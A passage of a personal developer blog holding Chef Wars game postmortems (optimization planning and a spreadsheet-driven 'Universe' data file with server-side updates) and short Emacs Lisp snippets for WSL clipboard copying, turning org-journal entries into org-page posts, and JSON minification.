If setting aside optimizations for later, make sure to prepare the code so that it would be easy to do so when the time comes.
Proper planning during the design stage can determine what to build and how to optimize in advance.
Measuring/profiling optimizations would reveal which are the most effective to use in the future.

Conclusion

There is a certain sense of pride in producing optimized and stable code. Sadly, this kind of perfection comes at a cost of time. The solution is to always consider at all times when, what, and how to optimize.

This may all seem overkill to worry about but after going through 2 years worth of development on Chef Wars, I know all of this is worth taking the extra effort to do right. I hope that what I've learned may also be of use to you.

[Our game is running better now and you could play it by downloading it on on Android and iOS. Also check out my previous postmortem where I talk about something that went right.]

Chef Wars Postmortem -- What went right: Having a Universe File

2017-12-05T12:56:00+08:00

Note: This is from a series of articles that outlines the things I've learned while making Chef Wars for 2+ years.

TLDR

All data in our game is contained in one excel file we call the "Universe".
Prototypes can be done on the Universe excel file itself
Iteration is easier as we only need to change one file.
We made a system that downloads changes from our server so players don't need to update their builds.

Before we started development on Chef Wars, Cliff, my co-founder and game designer for the team, already had pages of spreadsheets containing important values in the game. It's kinda like a game design document but in the form of tables, columns, and rows. This "Universe" file contained everything from stats, dialogue, competitions, locations, chefs, and enemies just to name a few.

*This file definitely gives a hint on what type of guy Cliff is.*

Having a list of all the data that will be used in the game has helped us visualize the scope and the systems to be built, especially in making prototypes. One time Cliff made a simulation of the battle system using his Excel mastery. The universe data is fed into this simulation (i.e. competition level, recipe power) and the expected values are displayed (i.e. judging result, rewards amount). This mockup allowed us to see how the battles play out and made the whole thing easier for me to understand and implement in the engine.

All the content of the universe file is then converted to the JSON format which is used directly by the game. Iterating on the game is easy because the file would just need to be converted again for the new changes to show up. The conversion process is done manually though using a CSV to JSON tool. I would have automated the process but didn't have the time to work on it.

*It's like the Matrix*

Initially, when we wanted to update some values, we would need to push a new build version that players need to download. We figured that this is too cumbersome especially if we really have some critical changes we want to get out as soon as possible. As a solution to this, we made a system where a master copy of the JSONs are saved on our servers. We can change the data from here and the game would automatically download the necessary files that we changed. This is a really great feature that has helped us push important changes without having the need for a new build. But it does require a lot of bandwidth especially if a lot of players request for the new data so we do it only when needed like on crash producing bugs.

As you can see, we've spent a lot of time making sure that our game is data-centric as possible and it benefitted us immensely. This approach has been so useful that we plan to use it on our future projects. And hopefully, after reading this, we've convinced you to try it out too.

[Check out how the universe has been transformed into a game by playing Chef Wars on Android and iOS. Also, be sure to check out Cliff's postmortem where he talks about the things we learned during our global launch!]

Temp Solution For When Text Copying Does Not Work in Emacs Under Windows Subsytem for Linux

2017-09-23T13:08:00+08:00

One of the problems I was having with my Emacs environment under WSL (Windows Subsystem for Linux, aka. Bash On Windows) is that I could not copy text from WSL Emacs to other Windows applications. Copy and pasting from Windows to Emacs works without any problems so it's weird it does not work the other way around.

I tried a lot of solutions from Google but none of them seem to work. There was an emacs package called simpleclip that worked but the results were not consistent.

I then realized that a temporary solution would be to make use of Windows' clip.exe command line utility which can bme seen below.

(defun arebel-set-clipboard-data (str-val)
  "Puts text in Windows clipboard. Copying to Windows from WSL does 
not work on my end so this one is a temporary solution.

This function is called from within the simpleclip package when copy 
or bgcopy command is issued."
  (start-process "cmd" nil "cmd.exe" "/C" (concat "echo " (replace-regexp-in-string "\n" "\r" str-val) " | clip.exe")))

It works quite nicely especially after integrating it with simpleclip. This would do for now until I find a better solution.

EDIT (2017-10-01): Turns out the original code could not copy a region with multiple lines due to the difference in carriage return characters. This is now fixed with (replace-regexp-in-string "\n" "\r" str-val).

Converting org-journal entry to org-page post

2017-04-19T13:17:00+08:00

Since my recent switch from Wordpress to org-page I wanted a way to convert my org-journal entries to org-page posts. Instead of copying each entry by hand and pasting to an org-page new page buffer I decided to make an elisp code that would do it automatically which can be seen below:

(defun arebel-org-journal-entry-to-org-page-post ()
  "Copy the org-journal entry at point and then convert it to a org-page new post buffer."
  (interactive)
  (if (eq 'org-journal-mode major-mode)
      (let ((headline-text (nth 4 (org-heading-components)))
        (entry-text (org-get-entry)))
    (funcall-interactively 'op/new-post "blog" (concat (buffer-name) "-" headline-text))
    (goto-char (point-max))
    (insert entry-text))
    (message "This function can only be called inside org-journal-mode.")) )

The function is simple and uses functions from org-mode and org-page.

First, it checks if the current buffer is in org-journal-mode
Then it gets the headline text and entry texts
It then calls op/new-post. It does it interactively so that it will trigger the prompts needed to populate the template. (Also notice that it takes the org-journal buffer name plus time as the blog post's org file name. This way I don't have to specify it.)
It then inserts the entry-text at the end of the buffer.

From here I am free to edit, commit, then publish.

It's working great. As proof this post you are reading right now has been made with the code above.

Converting org-journal entry to org-page post

2017-04-19T13:17:00+08:00

I needed a way to minify JSON files from Emacs so I made the short function below.

(defun arebel-minify-buffer-contents()
    "Minifies the buffer contents by removing whitespaces."
    (interactive)
    (delete-whitespace-rectangle (point-min) (point-max))
    (mark-whole-buffer)
    (goto-char (point-min))
    (while (search-forward "\n" nil t) (replace-match "" nil t)))

The function is very simple. First it deletes the whitespaces for the whole current buffer then removes every newline.

This effectively turns this:

{
    "glossary": {
        "title": "example glossary",
        "GlossDiv": {
            "title": "S",
            "GlossList": {
                "GlossEntry": {
                    "ID": "SGML",
                    "SortAs": "SGML",
                    "GlossTerm": "Standard Generalized Markup Language",
                    "Acronym": "SGML",
                    "Abbrev": "ISO 8879:1986",
"GlossDef": {


                          "para": "A meta-markup language, used to create markup languages such as DocBook.",
                        "GlossSeeAlso": ["GML", "XML"]
                    },
                    "GlossSee": "markup"
                }
            }
        }
    }
}

To this:

{"glossary": {"title": "example glossary","GlossDiv": {"title": "S","GlossList": {"GlossEntry": {"ID": "SGML","SortAs": "SGML","GlossTerm": "Standard Generalized Markup Language","Acronym": "SGML","Abbrev": "ISO 8879:1986","GlossDef": {"para": "A meta-markup language, used to create markup languages such as DocBook.","GlossSeeAlso": ["GML", "XML"]},"GlossSee": "markup"}}}}}

It works for my current needs but have not fully tested it yet. It works for emacs lisp buffers too.